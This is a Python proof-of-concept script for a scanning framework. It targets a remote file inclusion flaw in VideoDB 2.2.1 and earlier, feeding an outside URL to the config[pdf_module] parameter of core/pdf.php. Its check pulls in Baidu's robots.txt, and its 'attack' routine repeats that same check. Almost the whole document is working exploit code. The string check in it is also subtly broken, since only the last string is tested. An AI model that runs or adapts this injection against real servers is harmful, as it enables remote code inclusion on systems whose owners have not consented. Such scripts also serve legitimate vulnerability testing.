VideoDB <= 2.2.1 (pdf.php) Remote File Include Exploit

                                                #!/usr/bin/env python
# -*- coding: utf-8 -*-
#漏洞程序下载:http://sourceforge.net/projects/videodb/files/videodb/2.2.1/videodb-2_2_1.tgz/download

import re
from lib.request.basic import req as requests
from lib.core.poc import Output, POCBase
from lib.core.register import registerPoc as register

class VideodbPdfRFIPOC(POCBase):
    vulID = 'SSV-64039'  # vul ID
    version = '1'
    author = 'huakai'
    vulDate = '2006-09-29'
    createDate = '2015-10-09'
    updateDate = '2015-10-09'
    references = ['https://www.exploit-db.com/exploits/2455/']
    name = 'VideoDB <= 2.2.1 (pdf.php) Remote File Include Exploit'
    appPowerLink = 'http://sourceforge.net/projects/videodb'
    appName = 'VideoDB'
    appVersion = '<= 2.2.1'
    vulType = 'Remote File Inclusion'
    desc = u'''
    http://[host]/core/pdf.php?config[pdf_module]=[remote]
    '''

    samples = ['']

    def _verify(self):
        verify_url = self.url + "/core/pdf.php?config[pdf_module]==https://www.baidu.com/robots.txt?"
        response = requests.get(verify_url)
        return self.parse_verify(response,verify_url)

    def _attack(self):
        return self._verify()

    def parse_verify(self,response,url):
        output = Output(self)
        result = {}

        if "Baiduspider" and "Googlebot" and "Disallow: /baidu" in response.text:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = url
            output.success(result)
        else:
            output.fail('Internet Nothing returned')
        return output

register(VideodbPdfRFIPOC)